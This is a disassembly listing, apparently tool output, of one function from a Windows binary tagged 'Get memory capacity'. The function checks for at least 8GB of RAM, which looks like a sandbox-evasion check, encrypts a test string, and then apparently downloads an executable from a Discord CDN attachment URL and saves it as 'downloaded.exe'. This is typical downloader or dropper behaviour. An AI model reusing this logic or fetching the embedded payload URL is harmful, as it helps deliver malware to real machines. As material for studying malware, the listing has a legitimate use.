Function at 0x140129190
Capabilities:
Get memory capacity

Disassembly:
push rbp
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x14041ae40]
xor rax, rsp
mov qword [rbp + 0x30], rax
lea rcx, [rbp - 0x50]
mov dword [rbp - 0x50], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x140129795
movabs rax, 0x200000000
cmp qword [rbp - 0x48], rax
setae al
test al, al
je 0x1401297b0
mov qword [rsp + 0x160], rbx
lea rdx, str.This_is_a_sensitive_string_
mov qword [rsp + 0x170], rdi
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x148], r14
call fcn.14012a4a0
mov ecx, reloc.WS2_32.dll_recv
call fcn.14036a080
xorps xmm0, xmm0
mov qword [rsp + 0x50], rax
mov rcx, rax
lea rdx, [rax + 0x10]
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rdx
sub edx, eax
movups xmmword [rax], xmm0
call fcn.140130d90
cmp eax, 1
je 0x140129254
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_generate_a_random_key.
call fcn.14012ab70
mov rcx, rax
call fcn.14012ad40
mov ecx, reloc.WS2_32.dll_recv
call fcn.14036a080
xorps xmm0, xmm0
mov qword [rsp + 0x38], rax
mov rcx, rax
lea rdx, [rax + 0x10]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rdx
sub edx, eax
movups xmmword [rax], xmm0
call fcn.140130d90
cmp eax, 1
je 0x1401292a1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_generate_a_random_IV.
call fcn.14012ab70
mov rcx, rax
call fcn.14012ad40
lea rdx, str.https:__cdn.discordapp.com_attachments_1191467755946397878_1198373405171384351_R6_script.exe
lea rcx, [rbp + 0x10]
call fcn.14012a4a0
lea rdx, str.downloaded.exe
lea rcx, [rbp - 0x10]
call fcn.14012a4a0
xor eax, eax
lea r14, [rsp + 0x68]
cmp qword [rbp - 0x80], 7
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
cmova r14, qword [rsp + 0x68]
mov rbx, 0xffffffffffffffff
mov qword [rsp + 0x30], rax
movups xmmword [rbp - 0x50], xmm0
nop dword [rax + rax]
inc rbx
cmp byte [r14 + rbx], al
jne 0x1401292f0
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x1401297d2
mov qword [rsp + 0x168], rsi
mov qword [rsp + 0x140], r15
xor r15d, r15d
cmp rbx, 0xf
ja 0x14012934a
mov r8, rbx
mov qword [rbp - 0x40], rbx
mov rdx, r14
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
lea rcx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x50], r15b
jmp 0x1401293de
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140129383
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14036a080
test rax, rax
je 0x140129428
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1401293c0
mov ecx, reloc.WS2_32.dll_shutdown
mov rdi, rax
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1401293ae
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1401297d8
jmp 0x140129364
test rcx, rcx
je 0x1401293bd
call fcn.14036a080
mov rsi, rax
jmp 0x1401293c0
mov rsi, r15
mov r8, rbx
mov qword [rbp - 0x50], rsi
mov rdx, r14
mov qword [rbp - 0x40], rbx
mov rcx, rsi
mov qword [rbp - 0x38], rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], r15b
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x20]
call fcn.140128940
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140129434
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14012942f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14012942f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14036a0bc
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x78]
call fcn.140128b30
cmp qword [rbp - 0x80], 7
lea rbx, [rsp + 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Sensitive_String:
cmova rbx, qword [rsp + 0x68]
call fcn.14012af00
mov rcx, rax
mov rdx, rbx
call fcn.14012af00
mov rcx, rax
call fcn.14012b0e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Encrypted_Data:
call fcn.14012af00
mov r14, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x20]
cmp rsi, r14
je 0x14012951b
mov qword [rsp + 0x178], r12
nop dword [rax]
mov edx, 2
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x140128910]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, qword [rbx + 8]
mov rdi, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [rbx]
mov rcx, qword [rdi]
movsxd rdx, dword [rcx + 4]
mov rcx, rdi
mov word [rdx + rdi + 0x58], gethostbyname
movzx edx, byte [rsi]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
call fcn.14012b310
inc rsi
cmp rsi, r14
jne 0x1401294b0
mov r12, qword [rsp + 0x178]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14012b0e0
cmp qword [rbp - 0x60], 0xf
lea rbx, [rbp - 0x78]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Decrypted_String:
cmova rbx, qword [rbp - 0x78]
call fcn.14012af00
mov rcx, rax
mov rdx, rbx
call fcn.14012b4e0
mov rcx, rax
call fcn.14012b0e0
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x10]
call fcn.140128e30
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x1401295a3
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14012959e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14012974a
call fcn.14036a0bc
mov rcx, qword [rsp + 0x20]
movdqa xmm0, xmmword [0x14040f780]
mov byte [rbp - 0x78], r15b
movdqu xmmword [rbp - 0x68], xmm0
test rcx, rcx
je 0x1401295fe
mov rdx, qword [rsp + 0x30]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1401295eb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14012974a
call fcn.14036a0bc
xorps xmm0, xmm0
mov qword [rsp + 0x30], r15
movdqu xmmword [rsp + 0x20], xmm0
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x14012963e
mov rcx, qword [rbp - 0x10]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140129639
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14012974a
call fcn.14036a0bc
mov rdx, qword [rbp + 0x28]
movdqa xmm0, xmmword [0x14040f770]
mov word [rbp - 0x10], r15w
movdqu xmmword [rbp], xmm0
cmp rdx, 7
jbe 0x140129690
mov rcx, qword [rbp + 0x10]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14012968b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14012974a
call fcn.14036a0bc
mov rcx, qword [rsp + 0x38]
movdqa xmm0, xmmword [0x14040f770]
mov word [rbp + 0x10], r15w
movdqu xmmword [rbp + 0x20], xmm0
test rcx, rcx
je 0x1401296da
mov rdx, qword [rsp + 0x48]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1401296d5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14012974a
call fcn.14036a0bc
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140129712
mov rdx, qword [rsp + 0x60]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x14012970d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14012974a
call fcn.14036a0bc
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x140129756
mov rcx, qword [rsp + 0x68]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140129751
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140129751
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14036a0bc
mov rsi, qword [rsp + 0x168]
xor eax, eax
mov r15, qword [rsp + 0x140]
mov rdi, qword [rsp + 0x170]
mov rbx, qword [rsp + 0x160]
mov r14, qword [rsp + 0x148]
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.14036a060
add rsp, 0x150
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_retrieve_system_memory_information.
call fcn.14012ab70
mov rcx, rax
call fcn.14012ad40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Insufficient_system_RAM._Minimum_requirement_is_8GB.
call fcn.14012ab70
mov rcx, rax
call fcn.14012ad40
mov eax, 1
jmp 0x140129780
call fcn.140128780
int3
call fcn.1401286e0
int3